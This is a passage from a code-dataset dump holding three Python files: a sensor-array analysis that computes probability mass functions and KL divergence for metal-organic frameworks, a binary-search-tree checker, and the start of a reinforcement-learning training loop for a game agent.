all pmfs based on the experimental mass and truncated normal\n # probability distribution.\n mof_temp_dict = []\n for mass_exp in all_masses_exp:\n probs_range = []\n probs_exact = []\n if type == 'mass':\n a, b = 0, 2*float(max(all_masses_sim))\n mu, sigma = float(mass_exp), float(stdev)\n alpha, beta = ((a-mu)/sigma), ((b-mu)/sigma)\n if type == 'percent':\n a, b = 0, float(max(all_masses_sim)) * (1 + mrange)\n mu, sigma = float(mass_exp), float(stdev)*float(mass_exp)\n alpha, beta = ((a-mu)/sigma), ((b-mu)/sigma)\n for mass_sim in all_masses_sim:\n upper_prob = ss.truncnorm.cdf(float(mass_sim) * (1 + mrange), alpha, beta, loc = mu, scale = sigma)\n lower_prob = ss.truncnorm.cdf(float(mass_sim) * (1 - mrange), alpha, beta, loc = mu, scale = sigma)\n probs_range.append(upper_prob - lower_prob)\n prob_singlepoint = ss.truncnorm.pdf(float(mass_sim), alpha, beta, loc=mu, scale=sigma)\n probs_exact.append(prob_singlepoint)\n sum_probs_range = sum(probs_range)\n norm_probs_range = [(i/sum_probs_range) for i in probs_range]\n sum_probs_exact = sum(probs_exact)\n norm_probs_exact = [(i/sum_probs_exact) for i in probs_exact]\n\n # Update dictionary with pmf for each MOF\n new_temp_dict = []\n # Initialize the dictioary\n if mof_temp_dict == []:\n for index in range(len(norm_probs_range)):\n mof_temp_dict = all_results_sim[index].copy()\n mof_temp_dict['PMF_Range'] = norm_probs_range[index]\n mof_temp_dict['PMF_Exact'] = norm_probs_exact[index]\n new_temp_dict.extend([mof_temp_dict])\n new_temp_dict_2 = new_temp_dict\n # Add to the exisitng dictionary\n else:\n for index in range(len(norm_probs_range)):\n mof_temp_dict = new_temp_dict_2[index].copy()\n mof_temp_dict['PMF_Range'] = norm_probs_range[index]\n mof_temp_dict['PMF_Exact'] = norm_probs_exact[index]\n new_temp_dict.extend([mof_temp_dict])\n new_temp_dict_2 = new_temp_dict\n\n element_pmf_results.extend(new_temp_dict_2)\n\n return element_pmf_results\n\n\ndef calculate_array_pmf(mof_array, element_pmf_results):\n \"\"\"\n ----- Combines and normalizes mof pmfs for a single array -----\n Function is used in function 'calculate_all_arrays' below\n Keyword arguments:\n mof_array -- list of mofs in a single array\n element_pmf_results -- list of dictionaries including mof, mixture, probability\n \"\"\"\n compound_pmfs = None\n for mof in mof_array:\n mof_pmf = [ row['PMF_Range'] for row in element_pmf_results if row['MOF'] == mof ]\n if compound_pmfs is not None:\n compound_pmfs = [x*y for x,y in zip(compound_pmfs, mof_pmf)]\n else:\n compound_pmfs = mof_pmf\n norm_factor = sum(compound_pmfs)\n single_array_pmf_results = [ i / norm_factor for i in compound_pmfs ]\n return single_array_pmf_results\n\n\ndef calculate_all_arrays_list(mof_list, num_mofs):\n mof_array_list = []\n array_size = min(num_mofs)\n while array_size <= max(num_mofs):\n mof_array_list.extend(list(combinations(mof_list, array_size)))\n array_size += 1\n\n return mof_array_list\n\n\ndef calculate_all_arrays(mof_list, num_mofs, element_pmf_results, gases):\n \"\"\"\n ----- Calculates all possible arrays and corresponding pmfs ----\n Sets up all combinations of MOF arrays, uses function 'calculate_array_pmf'\n to get pmf values for every array/gas/experiment combination\n Keyword arguments:\n mof_list -- list of all mofs\n num_mofs -- lower and upper limit of desired number of mofs in array\n element_pmf_results -- list of dictionaries including mof, mixture, probability\n gases -- list of gases\n \"\"\"\n\n # Creates list of MOF arrays, all combinations from min to max number of MOFs\n mof_array_list = []\n array_size = min(num_mofs)\n while array_size <= max(num_mofs):\n mof_array_list.extend(list(combinations(mof_list, array_size)))\n array_size += 1\n\n # Save list of dictionaries for first MOF for use as a list of all gas mole fractions\n comp_set_dict = [row for row in element_pmf_results if row['MOF'] == mof_list[0]]\n\n # Calculate and save the pmfs for each of the generated arrys\n all_array_pmf_results = []\n for mof_array in mof_array_list:\n single_array_pmf_results = calculate_array_pmf(mof_array, element_pmf_results)\n if mof_array == mof_array_list[0]:\n # First Array: Set up dictionary with keys\n for index in range(len(comp_set_dict)):\n array_dict = {' '.join(mof_array) : single_array_pmf_results[index]}\n for gas in gases:\n array_dict[gas] = float(comp_set_dict[index][gas])\n all_array_pmf_results.extend([array_dict])\n else:\n # Not First Array: Update Dictionary\n for index in range(len(comp_set_dict)):\n all_array_pmf_results[index][' '.join(mof_array)] = single_array_pmf_results[index]\n\n return mof_array_list, all_array_pmf_results\n\n\ndef create_bins(gases, num_bins, mof_list, element_pmf_results):\n \"\"\"\n ----- Creates bins for all gases -----\n Keyword arguments:\n gases -- list of present gases\n num_bins -- number of bins specified by user in config file\n mof_list -- list of mofs used in analysis\n element_pmf_results -- list of dictionaries including mof, mixture, probability\n \"\"\"\n\n # Save list of dictionaries for first MOF to use as a list of all gas mole fractions\n # Might be good to make this it's own function early on for easier access to list of comps\n comp_set_dict = [row for row in element_pmf_results if row['MOF'] == mof_list[0]]\n # comps_array = []\n # for row in comp_set_dict:\n # comps_array.append([float(row[gas]) for gas in gases])\n comps_array = np.array([[float(row[gas]) for gas in gases] for row in comp_set_dict])\n # Figure out what is different between commented approach and current one!\n\n # Determine the set of points used to create bins\n bin_points = []\n for i in range(len(gases)):\n lower_comp = min(comps_array[:,i])\n upper_comp = max(comps_array[:,i])\n # Brian Bins\n lower_lim = lower_comp - 0.5*(upper_comp-lower_comp)/(num_bins-1)\n upper_lim = upper_comp + 0.5*(upper_comp-lower_comp)/(num_bins-1)\n # Jenna Bins\n # lower_lim = lower_comp\n # upper_lim = upper_comp + (upper_comp-lower_comp)/(num_bins)\n bin_points.append(np.linspace(lower_lim, upper_lim, num=num_bins+1, endpoint=True))\n bin_points = np.transpose(np.vstack(bin_points))\n\n # Reformat bin_points\n bins = []\n for row in bin_points:\n bins.append({gases[i] : row[i] for i in range(len(gases))})\n\n return bins\n\n\ndef create_comp_set_dict(element_pmf_results, mof_list):\n comp_set_dict = [row for row in element_pmf_results if row['MOF'] == mof_list[0]]\n return comp_set_dict\n\n\ndef bin_compositions_single_array(gases, bins, array, single_array_pmf_results, comp_set_dict):\n # Create a dictionary from array_pmf_results\n array_key = ' '.join(array)\n\n array_dict = []\n for index in range(len(comp_set_dict)):\n array_dict_temp = {array_key : single_array_pmf_results[index]}\n for gas in gases:\n array_dict_temp[gas] = float(comp_set_dict[index][gas])\n array_dict.append(array_dict_temp)\n\n # Loop through dictionary and assign bins\n for gas in gases:\n for row in array_dict:\n for i in range(1,len(bins)):\n lower_bin = bins[i-1][gas]\n upper_bin = bins[i][gas]\n gas_comp = float(row[gas])\n if gas_comp >= lower_bin and gas_comp < upper_bin:\n row['%s bin' % gas] = lower_bin\n\n # Loops through all of the bins and takes sum over all pmfs in that bin.\n binned_probabilities_sum = []\n for gas in gases:\n all_bins_temp_sum = []\n for bin in bins[0:len(bins)-1]:\n pmfs_temp = []\n for row in array_dict:\n if bin[gas] == row['%s bin' % gas]:\n pmfs_temp.append(row[array_key])\n\n single_bin_temp = {'%s bin' % gas : bin[gas]}\n with_sum = copy.deepcopy(single_bin_temp)\n if pmfs_temp == []:\n with_sum[array_key] = 0\n else:\n with_sum[array_key] = sum(pmfs_temp)\n all_bins_temp_sum.append(with_sum)\n\n # Creates list of binned probabilities, already normalized\n binned_probabilities_sum.extend(all_bins_temp_sum)\n\n return binned_probabilities_sum, array_dict\n\n\ndef bin_compositions(gases, bins, list_of_arrays, all_array_pmf_results):\n \"\"\"\n ----- Sorts pmfs into bins created by create_bins function -----\n The goal of this fucntion is to take the pmfs over the whole composition space\n and determine the probability vs. composition for one single gas, independent\n of the other componentns and their compositions.\n The current approach might be flawed in that it can skew the net probability\n based on the number of points in a bin. Revisit this in the near future.\n Keyword arguments:\n gases -- list of gases specified as user input\n list_of_arrays -- list of all array combinations\n bins -- dictionary containing bins for each gas\n all_array_pmf_results -- list of dictionaries, arrays, joint pmfs\n \"\"\"\n\n binned_probabilities_sum = []\n binned_probabilities_max = []\n for gas in gases:\n # Assigns pmf to bin value (dictionary) by checking whether mole frac is\n # between the current and next bin value.\n # Current method likely inefficient, but it works. Can revisit later.\n for row in all_array_pmf_results:\n for i in range(1, len(bins)):\n lower_bin = bins[i-1][gas]\n upper_bin = bins[i][gas]\n gas_comp = float(row[gas])\n if gas_comp >= lower_bin and gas_comp < upper_bin:\n row['%s bin' % gas] = lower_bin\n\n # Loops through all of the bins and takes sum over all pmfs in that bin.\n all_bins_temp_sum = []\n all_bins_temp_max = []\n array_names = [' '.join(array) for array in list_of_arrays]\n for bin in bins[0:len(bins)-1]:\n array_pmfs_temp = {array: [] for array in array_names}\n for row in all_array_pmf_results:\n if bin[gas] == row['%s bin' % gas]:\n for array in array_names:\n array_pmfs_temp[array].append(row[array])\n\n # Updates pmfs for each array for current bin\n # Many methods here of handling multiple data points.\n # Currently, can sum all pmfs, or take the max value.\n single_bin_temp = {'%s bin' % gas : bin[gas]}\n with_sum = copy.deepcopy(single_bin_temp)\n with_max = copy.deepcopy(single_bin_temp)\n for array in array_names:\n if array_pmfs_temp[array] == []:\n with_sum[array] = 0\n with_max[array] = 0\n else:\n with_sum[array] = sum(array_pmfs_temp[array])\n with_max[array] = max(array_pmfs_temp[array])\n all_bins_temp_sum.append(with_sum)\n all_bins_temp_max.append(with_max)\n\n # Creates list of binned probabilities, already normalized\n binned_probabilities_sum.extend(all_bins_temp_sum)\n binned_probabilities_max.extend(all_bins_temp_max)\n\n return binned_probabilities_sum, binned_probabilities_max\n\n\ndef calculate_single_array_kld(gases, array, bins, single_array_pmf_results, binned_probabilities):\n dict_temp = {'MOF_Array' : array}\n array_name = ' '.join(array)\n\n # Calculate Absolute KLD\n reference_prob_abs = 1/len(single_array_pmf_results)\n abs_kld = sum([float(pmf)*log(float(pmf)/reference_prob_abs,2) for pmf in single_array_pmf_results if pmf != 0])\n dict_temp['Absolute_KLD'] = round(abs_kld,4)\n\n # Calculate Component KLD\n for gas in gases:\n reference_prob_comp = 1/len(bins)\n pmfs_per_array_comp = [row[array_name] for row in binned_probabilities if '%s bin' % gas in row.keys()]\n kld_comp = sum([float(pmf)*log(float(pmf)/reference_prob_comp,2) for pmf in pmfs_per_array_comp if pmf != 0])\n dict_temp['%s KLD' % gas] = round(kld_comp,4)\n\n # Calculate Joint KLD\n product_temp = reduce(operator.mul, [dict_temp['%s KLD' % gas] for gas in gases], 1)\n dict_temp['Joint_KLD'] = product_temp\n dict_temp['Array_Size'] = len(dict_temp['MOF_Array'])\n\n return dict_temp\n\n\ndef calculate_kld(gases, list_of_arrays, bins, all_array_pmf_results, binned_probabilities):\n \"\"\"\n ----- Calculates the Kullback-Liebler Divergence of a MOF array with each gas component -----\n Keyword arguments:\n gases -- list of gases specified by user\n list_of_arrays -- list of all array combinations\n bins -- dictionary result from create_bins\n binned_probabilities -- list of dictionaries, mof array, gas, pmfs\n \"\"\"\n\n array_kld_results = []\n for array in list_of_arrays:\n dict_temp = {'MOF_Array' : array}\n array_name = ' '.join(array)\n\n # Calculate Absolute KLD\n pmfs_per_array_abs = [row[array_name] for row in all_array_pmf_results]\n reference_prob_abs = 1/len(pmfs_per_array_abs)\n abs_kld = sum([float(pmf)*log(float(pmf)/reference_prob_abs,2) for pmf in pmfs_per_array_abs if pmf != 0])\n dict_temp['Absolute_KLD'] = round(abs_kld,4)\n\n # Calculate Component KLD\n for gas in gases:\n reference_prob_comp = 1/len(bins)\n pmfs_per_array_comp = [row[array_name] for row in binned_probabilities if '%s bin' % gas in row.keys()]\n kld_comp = sum([float(pmf)*log(float(pmf)/reference_prob_comp,2) for pmf in pmfs_per_array_comp if pmf != 0])\n dict_temp['%s KLD' % gas] = round(kld_comp,4)\n\n # Calculate Joint KLD\n product_temp = reduce(operator.mul, [dict_temp['%s KLD' % gas] for gas in gases], 1)\n dict_temp['Joint_KLD'] = product_temp\n dict_temp['Array_Size'] = len(dict_temp['MOF_Array'])\n array_kld_results.append(dict_temp)\n\n return array_kld_results\n\n\ndef choose_arrays(gases, num_mofs, array_kld_results, num_best_worst):\n \"\"\"\n ----- Rank MOF arrays by KLD -----\n Keyword arguments:\n gases -- list of gases\n num_mofs -- minimum and maximum number of mofs in an array, usr specified in config file\n num_best_worst - number of the best and worst mofs of eash array size to save\n array_kld_results -- list of dictionaries including, mof array, gas, and corresponding kld\n \"\"\"\n\n # Saves best and worst arrays of each array size, ranking by absolute KLD\n best_ranked_by_abskld = sorted(array_kld_results, key=lambda k: k['Absolute_KLD'], reverse=True)\n worst_ranked_by_abskld = sorted(array_kld_results, key=lambda k: k['Absolute_KLD'])\n array_list_abskld = [best_ranked_by_abskld, worst_ranked_by_abskld]\n best_and_worst_arrays_by_absKLD = []\n for ranked_list in array_list_abskld:\n for array_size in range(min(num_mofs),max(num_mofs)+1):\n index = 0\n for array in ranked_list:\n if index < num_best_worst and len(array['MOF_Array']) == array_size:\n best_and_worst_arrays_by_absKLD.append(array)\n index += 1\n\n # Saves best and worst arrays of each array size, ranking by joint KLD\n best_ranked_by_jointkld = sorted(array_kld_results, key=lambda k: k['Joint_KLD'], reverse=True)\n worst_ranked_by_jointkld = sorted(array_kld_results, key=lambda k: k['Joint_KLD'])\n array_list_jointkld = [best_ranked_by_jointkld, worst_ranked_by_jointkld]\n best_and_worst_arrays_by_jointKLD = []\n for ranked_list in array_list_jointkld:\n for array_size in range(min(num_mofs),max(num_mofs)+1):\n index = 0\n for array in ranked_list:\n if index < num_best_worst and len(array['MOF_Array']) == array_size:\n best_and_worst_arrays_by_jointKLD.append(array)\n index += 1\n\n # Saves best and worst arrays of each size, ranking by gas KLD\n best_and_worst_arrays_by_gasKLD = []\n for gas in gases:\n best_ranked_per_gas = sorted(array_kld_results, key=lambda k: k['%s KLD' % gas], reverse=True)\n worst_ranked_per_gas = sorted(array_kld_results, key=lambda k: k['%s KLD' % gas])\n array_list_gaskld = [best_ranked_per_gas, worst_ranked_per_gas]\n for array_size in range(min(num_mofs),max(num_mofs)+1):\n for ranked_list in array_list_gaskld:\n index = 0\n for array in ranked_list:\n if index < num_best_worst and len(array['MOF_Array']) == array_size:\n best_and_worst_arrays_by_gasKLD.append(array)\n index +=1\n\n return best_and_worst_arrays_by_absKLD, best_and_worst_arrays_by_jointKLD, best_and_worst_arrays_by_gasKLD\n\n\ndef assign_array_ids(list_of_arrays):\n \"\"\"\n Assign numbers to each array for shorthand notation\n Can probably be written better to make enumerating less dependent on how the passed in list is ordered.\n Will save this for future updates, since it currently works without issue.\n \"\"\"\n array_id_dict = {}\n i = 0\n num_elements = 0\n for array in list_of_arrays:\n if num_elements == len(array):\n i += 1\n else:\n i = 1\n num_elements = len(array)\n array_id = str(num_elements)+'-'+str(i)\n array_name = ' '.join(array)\n array_id_dict[array_name] = array_id\n\n filename = 'array_id_list.csv'\n with open(filename,'w', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=\"\\t\")\n for key, val in array_id_dict.items():\n writer.writerow([val, key])\n\n return array_id_dict\n\n\ndef save_element_pmf_data(element_pmf_results, stdev, mrange, timestamp):\n \"\"\"\n ----- Saves pmf and mole fraction data for each gas/MOF combination -----\n Keyword arguments:\n element_pmf_results -- list of dictionaries with all pmf values\n \"\"\"\n\n data_frame = pd.DataFrame(element_pmf_results)\n data_frame.to_csv('saved_element_pmfs/%s_stdev_%s_mrange_%s.csv' % (stdev, mrange, timestamp), sep='\\t')\n\n\ndef save_unbinned_array_pmf_data(gases, list_of_arrays, list_of_array_ids, all_array_pmf_results, timestamp):\n \"\"\"\n ----- Saves pmf and mole fraction data for each gas/MOF array combination -----\n Keyword arguments:\n gases -- list of gases specified by user\n list_of_arrays -- list of all arrays, and MOFs in each array\n bins -- dictionary result from create_bins\n binned_probabilities -- list of dictionaries, mof array, gas, pmfs\n \"\"\"\n\n # Make directory to store pmf data\n os.makedirs(\"saved_array_pmfs_unbinned/%s\" % timestamp)\n\n # Generate array data and write to file\n header = copy.deepcopy(gases)\n header.extend(['PMF'])\n\n comps_to_save = []\n comps_to_save_alt =[]\n for row in all_array_pmf_results:\n comps_to_save.append([{'%s' % gas: row[gas]} for gas in gases])\n comps_to_save_alt.append([row[gas] for gas in gases])\n # Alt form of compositons saves them in array rather than dictionary form. Order is thus\n # hard-coded, but its slightly easier to work with later for plotting purposes.\n\n for array in list_of_arrays:\n array_name = ' '.join(array)\n pmfs_to_save = [{'PMF': row[array_name]} for row in all_array_pmf_results]\n pmfs_to_save_alt = [[row[array_name]] for row in all_array_pmf_results]\n filename = \"saved_array_pmfs_unbinned/%s/%s.csv\" % (timestamp, str(list_of_array_ids[array_name]))\n pmf_data = np.column_stack((comps_to_save, pmfs_to_save))\n\n # Using Alt form of data\n pmf_data_alt = np.column_stack((comps_to_save_alt, pmfs_to_save_alt))\n with open(filename, 'w', newline='') as csvfile:\n writer = csv.writer(csvfile,delimiter='\\t')\n writer.writerow(header)\n for line in pmf_data_alt:\n writer.writerow(line)\n\n\ndef prepare_ternary_dict_rgba(a,b,c,z,vmin,vmax,cmap):\n \"\"\"\n Prepare data for use with 'ternary'\n \"\"\"\n\n color_norm = matplotlib.colors.Normalize(vmin=vmin, vmax=vmax)\n alpha_norm = matplotlib.colors.Normalize(vmin=vmin-(vmax-vmin), vmax=vmax)\n color_map = matplotlib.cm.get_cmap(cmap)\n\n data_dict_rgba = dict()\n data_dict_zval = dict()\n for i in range(len(a)):\n A_out = np.round(a[i]*100,3)\n B_out = np.round(b[i]*100,3)\n C_out = np.round(c[i]*100,3)\n alpha = 1\n rgba = color_map(color_norm(z[i]))[:3] + (alpha,)\n # data_dict[(bottom, right, left)] = ()\n data_dict_rgba[(A_out, B_out, C_out)] = (rgba)\n data_dict_zval[(A_out, B_out, C_out)] = z[i]\n\n return(data_dict_rgba, data_dict_zval)\n\n\ndef prepare_ternary_dict_rgba_rescaled(a,b,c,z,vmin,vmax,cmap):\n \"\"\"\n Prepare rescaled data for use with 'ternary'\n \"\"\"\n\n rescale_sub = max([min(a), min(b), min(c)])\n rescale_den = max([max(a)-min(a), max(b)-min(b), max(c)-min(c)])\n\n color_norm = matplotlib.colors.Normalize(vmin=vmin, vmax=vmax)\n color_map = matplotlib.cm.get_cmap(cmap)\n\n data_dict_rgba = dict()\n data_dict_zval = dict()\n for i in range(len(a)):\n atemp = (a[i]-min(a))/rescale_den\n btemp = (b[i]-min(b))/rescale_den\n ctemp = (c[i]-min(c))/rescale_den\n A_out = np.round(atemp*100,3)\n B_out = np.round(btemp*100,3)\n C_out = np.round(ctemp*100,3)\n rgba = color_map(color_norm(z[i]))\n # data_dict[(bottom, right, left)] = ()\n data_dict_rgba[(A_out, B_out, C_out)] = (rgba)\n data_dict_zval[(A_out, B_out, C_out)] = z[i]\n\n return(data_dict_rgba, data_dict_zval)\n\n\ndef harper_ternary(data_dict, z, array_id, vmin, vmax, cmap, use_rgba, polygon_sf):\n # Set image size and resolution\n matplotlib.rcParams['figure.dpi'] = 1200\n matplotlib.rcParams['figure.figsize'] = (3.25, 2.75)\n\n # Initialize the Plot\n scale = 100\n figure, tax = ternary.figure(scale=scale)\n tax.clear_matplotlib_ticks()\n tax.get_axes().axis('off')\n if use_rgba == True:\n tax.heatmap(data_dict, style=\"h\", use_rgba=use_rgba, colorbar=False, polygon_sf=polygon_sf)\n elif use_rgba == False:\n tax.heatmap(data_dict, style=\"dt\", use_rgba=use_rgba, polygon_sf=polygon_sf)\n\n # Set colorbar\n # vmin = min(z)\n # vmax = max(z)\n color_norm = matplotlib.colors.Normalize(vmin=vmin, vmax=vmax)\n color_map = matplotlib.cm.get_cmap(cmap)\n sm = plt.cm.ScalarMappable(cmap=color_map, norm=color_norm)\n sm.set_array([])\n cbar = plt.colorbar(sm, ticks=np.linspace(0,vmax,6), fraction=0.02, format='%.1f')\n cbar.ax.tick_params(labelsize=7)\n # cbar.ax.set_ylabel(r'$Mass\\ [mg/cm^3]$', rotation=90, fontsize=6)\n cbar.ax.set_ylabel(r'Mass Uptake [$mg/cm^3$]', rotation=90, fontsize=9)\n\n # Draw boundary, gridlines, and ticks\n tax.boundary(linewidth=1.0)\n tax.gridlines(color=(0.5, 0.5, 0.5, 0.5), multiple=100/(6*4), linewidth=0.25)\n tax.gridlines(color=(0.5, 0.5, 0.5, 0.5), multiple=100/6, linewidth=0.5)\n tax.ticks(axis='b', ticks=[40,50,60,70,80,90,100], linewidth=1, multiple=100/7, tick_formats='%.0f', offset = 0.021, fontsize = 7)\n tax.ticks(axis='lr', ticks=[0,10,20,30,40,50,60], linewidth=1, multiple=100/7, tick_formats='%.0f', offset = 0.03, fontsize = 7)\n\n # Set axis labels and title\n title_fontsize = 9\n axis_fontsize = 9\n # tax.set_title(\"1 Mof Array: BISWEG\", fontsize=title_fontsize, y=1.05)\n # tax.right_corner_label(\"X\", fontsize=fontsize)\n # tax.top_corner_label(\"Y\", fontsize=fontsize)\n # tax.left_corner_label(\"Z\", fontsize=fontsize)\n tax.left_axis_label(\"Carbon Dioxide\", fontsize=axis_fontsize, offset = 0.15)\n tax.right_axis_label(\"Oxygen\", fontsize=axis_fontsize, offset = 0.15)\n tax.bottom_axis_label(\"Nitrogen\", fontsize=axis_fontsize, offset = 0.05)\n\n plt.savefig('/Users/brian_day/Desktop/triplots/%s.png' % array_id, bbox_inches='tight')\n plt.close()\n return(figure)\n\n\ndef plot_element_mass_data(gases, mof_list, data, timestamp):\n cmap = 'viridis'\n psf = 1.05\n CO2_points = np.array([float(row['CO2']) for row in data if row['MOF'] == mof_list[0]])\n N2_points = np.array([float(row['N2']) for row in data if row['MOF'] == mof_list[0]])\n O2_points = np.array([float(row['O2']) for row in data if row['MOF'] == mof_list[0]])\n\n mass_values_minmax = []\n mass_values_minmax = [float(row['Mass_mg/cm3']) for row in data]\n # vmin = np.min(mass_values_minmax)\n # vmax = np.ceil(np.max(mass_values_minmax)*1000)/1000\n\n for mof in mof_list:\n mass_values = np.array([float(row['Mass_mg/cm3']) for row in data if row['MOF'] == mof])\n vmin = np.floor(np.min(mass_values)/10)*10\n vmax = np.ceil(np.max(mass_values)/10)*10\n\n (dict_rgba, dict_zval) = prepare_ternary_dict_rgba_rescaled(N2_points, O2_points, CO2_points, mass_values, vmin, vmax, cmap=cmap)\n figure = harper_ternary(dict_rgba, mass_values, mof, vmin, vmax, cmap=cmap, use_rgba=True, polygon_sf=psf)\n\n\ndef plot_unbinned_array_pmf_data(gases, list_of_arrays, list_of_array_ids, all_array_pmf_results, timestamp):\n cmap = 'viridis'\n psf = 1.05\n data = all_array_pmf_results\n CO2_points = np.array([float(row['CO2']) for row in data])\n N2_points = np.array([float(row['N2']) for row in data])\n O2_points = np.array([float(row['O2']) for row in data])\n\n PMF_values_minmax = []\n for row in all_array_pmf_results:\n for array in list_of_arrays:\n PMF_values_minmax.extend([float(row[array]) for row in data])\n vmin = np.min(PMF_values_minmax)\n # vmax = np.ceil(np.max(PMF_values_minmax)*1000)/1000\n vmax = 0.40\n\n for array in list_of_arrays:\n array_id = array\n PMF_values = []\n for row in all_array_pmf_results:\n PMF_values = np.array([float(row[array]) for row in data])\n\n (dict_rgba, dict_zval) = prepare_ternary_dict_rgba_rescaled(N2_points, O2_points, CO2_points, PMF_values, vmin, vmax, cmap=cmap)\n figure = harper_ternary(dict_rgba, PMF_values, array_id, vmin, vmax, cmap=cmap, use_rgba=True, polygon_sf=psf)\n\n\ndef save_binned_array_pmf_data(gases, list_of_arrays, list_of_array_ids, bins, binned_probabilities, timestamp):\n \"\"\"\n ----- Saves pmf and mole fraction data for each gas/MOF array combination -----\n Keyword arguments:\n gases -- list of gases specified by user\n list_of_arrays -- list of all arrays, and MOFs in each array\n bins -- dictionary result from create_bins\n binned_probabilities -- list of dictionaries, mof array, gas, pmfs\n \"\"\"\n\n # Make directory to store pmf data\n os.makedirs(\"saved_array_pmfs_binned/%s\" % timestamp)\n\n # Generate array data and write to file\n for gas in gases:\n comps_to_save = [bin[gas] for bin in bins][0:len(bins)-1]\n for array in list_of_arrays:\n array_name = ' '.join(array)\n pmfs_to_save = [row[array_name] for row in binned_probabilities if '%s bin' % gas in row.keys()]\n pdfs_to_save = len(comps_to_save) * np.array(pmfs_to_save)\n filename = \"saved_array_pmfs_binned/%s/%s_%s.csv\" % (timestamp, str(list_of_array_ids[array_name]), gas)\n pdf_data = np.column_stack((comps_to_save, pdfs_to_save))\n with open(filename,'w', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=\"\\t\")\n for line in pdf_data:\n writer.writerow(line)\n\n\ndef plot_binned_array_pmf_data(gases, list_of_arrays, list_of_array_ids, bins, binned_probabilities, timestamp):\n \"\"\"\n ----- Plots pmf vs mole fraction for each gas/MOF array combination -----\n Keyword arguments:\n gases -- list of gases specified by user\n list_of_arrays -- list of all array combinations\n bins -- dictionary result from create_bins\n binned_probabilities -- list of dictionaries, mof array, gas, pmfs\n \"\"\"\n\n # Generate the plots\n # array_names = [' '.join(array) for array in list_of_arrays]\n # for array in array_names:\n array = list_of_arrays\n plt.figure(figsize=(3.5,2.5), dpi=600)\n plt.title('Binned Component\\nProbabilities', fontsize=10)\n plt.xlim([0,1])\n plt.xticks(np.linspace(0,1,6), fontsize=8)\n plt.xlabel('Mole Fraction', fontsize=10)\n plt.ylim([0,0.7])\n plt.yticks(np.linspace(0,0.7,8), fontsize=8)\n plt.ylabel('Probability', fontsize=10)\n # plt.rc('xtick', labelsize=20)\n # plt.rc('ytick', labelsize=20)\n colors = ['red', 'green', 'blue']\n count = 0\n for gas in gases:\n # X-axis, list of mole fracs to plot, for relevant gas\n comps_to_plot = [bin[gas] for bin in bins][0:len(bins)-1]\n # Y-axis, list of pmf values to plot\n pmfs_to_plot = [row[array] for row in binned_probabilities if '%s bin' % gas in row.keys()]\n # pdfs_to_plot = len(comps_to_plot) * np.array(pmfs_to_plot)\n # Plot and save figure in a directory 'figures'\n plt.plot(comps_to_plot, pmfs_to_plot, 'o-', color=colors[count], markersize=3)\n count += 1\n\n plt.legend([r'$CO_2$',r'$N_2$', r'$N_2$'], fontsize=8)\n plt.tight_layout()\n plt.savefig(\"/Users/brian_day/Desktop/binned_pmf_figs/%s.png\" % (array))\n plt.close()\n","sub_path":"sensor_array/analysis/brute_force_analysis.py","file_name":"brute_force_analysis.py","file_ext":"py","file_size_in_byte":43396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"283590428","text":"#python3\r\n\r\nimport sys, threading\r\n\r\nsys.setrecursionlimit(10**7) # max depth of recursion\r\nthreading.stack_size(2**25) # new thread will get stack of such size\r\n\r\ndef IsBinarySearchTree(tree):\r\n # Implement correct algorithm here\r\n if not tree:\r\n return True\r\n return isBST(tree, 0, -(2**31), (2**31))\r\n\r\ndef isBST(tree, n, min, max):\r\n if n < 0:\r\n return True\r\n if tree[n][0] < min or tree[n][0] > max:\r\n return False\r\n return (isBST(tree, tree[n][1], min, tree[n][0]-1) \r\nand isBST(tree, tree[n][2], tree[n][0], max))\r\n\r\ndef main():\r\n nodes = int(sys.stdin.readline().strip())\r\n tree = []\r\n for i in range(nodes):\r\n tree.append(list(map(int, sys.stdin.readline().strip().split())))\r\n if IsBinarySearchTree(tree):\r\n print(\"CORRECT\")\r\n else:\r\n print(\"INCORRECT\")\r\n\r\nthreading.Thread(target=main).start()\r\n","sub_path":"Algorithms Specialization UCSD/Data Structures/pa04/is_bst.py","file_name":"is_bst.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"115295695","text":"from VisualModule import AgentEnvironment\nfrom DQN_Agent import NeurosmashAgent\n\nimport numpy as np\nimport os\nimport random\nfrom matplotlib import pyplot as plt\nfrom stopwatch import Stopwatch\nfrom check_dir import check_dir\n\n\nclass EpisodeLoop:\n def __init__(self):\n pass\n\n def __init__(self):\n self.model_name = \"model_5layers.hdf5\"\n self.model_weights_path = f\"output/model_output/{self.model_name}\"\n\n # set directory where plos of rewards will be saved\n self.reward_plot_dir = \"output/reward_plots/\"\n check_dir(self.reward_plot_dir)\n self.reward_plot_path = f\"{self.reward_plot_dir}test_plots_extra_layers.png\"\n\n # set variables about the states / action / features\n self.state_size = 5\n self.action_size = 3\n self.nr_action_executions = 3\n self.max_distance = 600\n\n # set variables for all episodes\n self.bin_size = 25 # for the reward plots\n self.skip_frames = 1 # faster and remember less similar states # was 5\n self.show_images = False\n self.episode_count = 401\n self.batch_size = 128\n\n # set values of rewards\n self.extra_win_reward = 5 # reward for winning is 10 + extra_win_reward\n self.negative_value = 1\n\n # initialize agent and environment\n self.agent = NeurosmashAgent(state_size=self.state_size,\n action_size=self.action_size, batch_size=self.batch_size)\n self.env = AgentEnvironment(size=768, timescale=1)\n\n # initialize variables used over all episode loops\n self.games_won = 0\n self.games_lost = 0\n\n # initialize rewards variables\n self.total_reward = 0\n self.total_rewards = []\n\n\n self.model_output_dir = \"output/model_output/\"\n check_dir(self.model_output_dir)\n\n # initialize variables used per episode-loop\n # now only for the very first episode\n self.won_now = False\n self.enemy_direction = [-1, 0]\n self.agent_direction = [1, 0]\n self.agent_trajectories = []\n self.enemy_trajectories = []\n self.relative_pos_enemy = [0, 0]\n self.distances = []\n self.done = 0\n self.agent_coord_x = 0\n self.agent_coord_y = 0\n self.enemy_coord_x = 0\n self.enemy_coord_y = 0\n self.agent_dir_x = 0\n self.agent_dir_y = 0\n self.rel_pos_enemy_x = 0\n self.rel_pos_enemy_y = 0\n self.enemy_dir_x = 0\n self.enemy_dir_y = 0\n self.init_features = np.reshape([[0]*self.state_size],\n [1, self.state_size])\n self.used_features = np.reshape([[self.agent_coord_x,\n self.agent_coord_y,\n self.enemy_coord_x,\n self.enemy_coord_y,\n #self.agent_dir_x,\n #self.agent_dir_y,\n #self.rel_pos_enemy_x,\n 